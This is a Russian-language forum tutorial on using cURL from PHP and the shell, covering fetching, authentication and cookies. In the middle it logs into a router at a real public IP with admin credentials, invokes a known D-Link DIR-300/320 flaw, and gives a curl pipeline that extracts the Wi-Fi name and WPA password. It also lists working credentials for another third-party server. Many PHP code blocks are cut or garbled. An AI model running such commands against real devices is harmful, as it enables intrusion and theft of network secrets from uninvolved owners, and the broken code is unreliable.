![]() |
Для чего нужна cURL
Т.е. случаи использования cURL вполне реальные, хотя, в большинстве, cURL нужна программистам, которые используют её для своих программ. cURL поддерживает множество протоколов и способов авторизации, умеет передавать файлы, правильно работает с кукиз, поддерживает SSL сертификаты, прокси и очень многое другое. cURL в PHP и командной строке Мы можем использовать cURL двумя основными способами: в скриптах PHP и в командной строке. Чтобы включить cURL в PHP на сервере, необходимо в файле php.ini раскомментировать строку Код: Код:
extension=php_curl.dllНа Linux необходимо установить пакет curl. На Debian, Ubuntu или Linux Mint: Код: Код:
$ sudo apt-get install curlНа Fedora, CentOS или RHEL: Код: Код:
$ sudo yum install curlПолучение данных при помощи cURL Получение данных при помощи cURL в PHP Пример на PHP: PHP: Код:
$target_url — адрес сайта, который нас интересует. После адреса сайта можно поставить двоеточие и добавить адрес порта (если порт отличается от стандартного). curl_init — инициализирует новый сеанс и возвращает дискриптор, который в нашем примере присваивается переменной $ch. Затем мы выполняем запрос cURL функцией curl_exec, которой в качестве параметра передаётся дискриптор. Всё очень логично, но при выполнении этого скрипта, на нашей странице отобразиться содержимое сайта. А что если мы не хотим отображать содержимое, а хотим записать его в переменную (для последующей обработки или парсинга). Чуть дополним наш скрипт: PHP: Код:
0) {curl_setopt — задаёт опции. Полный список опций можно найти на этой странице: http://php.net/manual/ru/function.curl-setopt.php $response_data = curl_exec($ch); Теперь значение скрипта присваивается переменной $response_data, с которой можно проводить дальнейшие операции. Например, можно вывести её содержимое. Строчки PHP: Код:
ifПолучение данных при помощи cURL в командной строке В командной строке достаточно набрать Код: Код:
curl mi-al.ruЕсли нужно скопировать данные в переменную, а не выводить полученный результат на экран, то делаем так: Код: Код:
temp='curl mi-al.ru'https://forum.antichat.xyz/attachmen...1053042162.png Чтобы они не выводились, добавляем ключ -s: Код: Код:
temp='curl -s mi-al.ru'Код: Код:
echo $temp | lessБазовая аутентификация и аутентификация HTTP Аутентификация, проще говоря, это введение имени пользователя и пароля. Базовая аутентификация — это аутентификация средствами сервера. Для этого создаются два файла: .htaccess и .htpasswd Содержимое файла .htaccess примерно такое Код: Код:
AuthName "Только для зарегистрированных пользователей!"Содержимое файла .htpasswd примерно такое: Код: Код:
mial:CRdiI.ZrZQRRcПри попытке получить доступ к запароленной папке, в браузере отобразиться примерно такое окно: https://forum.antichat.xyz/attachmen...1053070348.png HTTP аутентификация — это тот случай, когда мы вводим логин и пароль в форму на сайте. Именно такая аутентификация используется при входе в почту, на форумы и т. д. https://forum.antichat.xyz/attachmen...1053096089.png Базовая аутентификация cURL (PHP) Есть сайт http://62.113.208.29/Update_FED_DAYS/, который требует от нас авторизоваться: Пробуем наш первоначальный скрипт: PHP: Код:
0) {https://forum.antichat.xyz/attachmen...1102439413.png Добавляем две строки: PHP: Код:
curl_setoptPHP: [CODE] 0) { echo 'Ошибка curl: ' . curl_error($ch); } else { echo $response_data; } curl_close($ch); ?> [CODE] Пробуем: [ATTACH type="full" alt="30946"]30946[/ATTACH] Отлично! Базовая аутентификация cURL (в командной строке) Этого же самого в командной строке можно добиться одной строчкой: Код:
curl -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/В командной строке всё получилось так быстро, что от расстройства я написал вот такую программу. Она подключается к сайту и скачивает самое последнее обновление: Bash: Код:
temp
HTTP аутентификация cURL в PHP Нам нужно знать:
Адрес, куда нужно отправить данные, можно взять из формы аутентификации. Например: HTML: Код:
Здесь же мы находим и метод отправки: method="post" Логин и пароль я тоже знаю: admin и qwerasdfzxcv Цитата:
PHP: Код:
0) {curl_setopt($ch, CURLOPT_POSTFIELDS, 'LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv'); Здесь curl_setopt — уже знакомая нам функция по установлению опций для cURL, CURLOPT_POSTFIELDS — эта имя опции, которую мы устанавливаем. CURLOPT_POSTFIELDSсодержит все данные, которые передаются методом POST. Ну и сама строчка LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv — это те самые данные, которые мы передаём. Если внимательно изучить форму, то можно увидеть, что она содержит также и скрытые поля. А ещё данные могут обрабатываться или дополняться JavaScript'ами. Можно заняться изучением всего этого, но я предпочитаю более простой способ. Я использую Wireshark. Эта программа предназначена для снифинга (перехвата) трафика. И именно в ней очень удобно смотреть, что же именно передаётся на сайт. Посмотрите это крошечное видео: Т.е. с адресом, куда передаются данные, я угадал. А вот передаваемая строка оказалась намного сложнее. Я вписал верный параметр, а также чуть доработал скрипт, чтобы он не просто авторизовался, но и кое-что получал из роутера: PHP: Код:
0) {(Это общеизвестная уязвимость роутеров D-Link DIR-300, D-Link DIR-320, и D-Link DAP-1353). HTTP аутентификация cURL в командной строке Полный адрес, а также строку, которую нужно передать, мы уже знаем. Поэтому всё просто: Код: Код:
curl --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.phpПримером использования cURL для получения и парсинга данных может стать следующий набор команд: Код: Код:
curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php > /dev/null && echo -e "nn" && echo "Имя сети Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E 'f.ssid.value = "(.)*";' | sed 's/f.ssid.value = "//' | sed 's/";//' && echo "Пароль сети Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E 'f_wpa.wpapsk1.(.)*";' | sed 's/f_wpa.wpapsk1.value//' | sed 's/";//' | sed 's/="//'https://forum.antichat.xyz/attachmen...1102834979.png Сложные случаи авторизации: AJAX, JQuery, JavaScript и т.п. Данные заголовок правильнее было бы написать так: «Сложные» случаи авторизации. Т.е. слово «сложные» взять в кавычки. Сложными они видятся только на первый взгляд, когда непонятно: куда происходит отправка, какие имена полей, что именно отправляется и т. д. Но, на самом деле, все они сводятся к методам POST или GET. Чтобы понять, что именно отправляется, можно сохранить страницу с формой себе на диск и на кнопку отправки повесить функцию показа сформированных для отправки данных. Или ещё проще — как я, Wireshark'ом. Если данные правильные, а аутентификация не происходит, то нужно копать в следующих направлениях:
Типсы и триксы cURL cURL и получение кукиз помимо CURLOPT_COOKIEJAR Думаю, уже стало понятно, что cURL правильно обрабатывает куки — сохраняет их, использует, когда сервер запрашивает, и т. д. Но иногда куки нужно сохранить. Для этого есть опция CURLOPT_COOKIEJAR, но воспользоваться ей можно не всегда. Этому и посвящён наш первый трюк. Иногда из-за особенностей настройки PHP на сервере, нам недоступны такие опции как CURLOPT_COOKIEJAR (позволяет сохранить полученные куки в файл) и CURLOPT_COOKIEFILE (позволяет использовать куки из файла). Т.к. они говорят, что используя эти опции мы сможем стянуть любой файл с их сервера. Вот решение этой проблемы: 1) Не используем CURLOPT_FOLLOWLOCATION 2) Используем curl_setopt($ch, CURLOPT_HEADER, 1) 3) Собираем кукизы из заголовка header примерно так: PHP: Код:
preg_match_allВторой совет. Из атакующих мы можем превратиться в жертву. Чтобы не стать жертвой атаки человек-по-середине, делаем так. Пожалуйста, все, перестаньте устанавливать настройку CURLOPT_SSL_VERIFYPEER на false или 0. Если ваша установка PHP не имеет актуального комплекта корневых сертификатов CA, загрузите один на веб-сайте curl и сохраните его на ваш сервер: http://curl.haxx.se/docs/caextract.html Затем задайте путь в вашем файле php.ini file, например, на Windows: Код: Код:
curl.cainfo=c:phpcacert.pemНу и последняя на сегодня подсказка. Знаете ли вы, что возможно большое количество асинхронных запросов curl? Для этого можно использовать curl_multi_init. Подробности и пример кода в официальной документации http://php.net/manual/ru/function.curl-multi-init.php Что ещё почитать про cURL О cURL в PHP я бы рекомендовал официальную документацию — написано просто и много примеров. http://php.net/manual/ru/ref.curl.php Про cURL в командной строке Код: Код:
man curlhttp://curl.haxx.se/docs/manual.html Для чтения на русском языке также подготовлена вторая часть урока cURL: "Примеры команд cURL". |
| Время: 11:52 |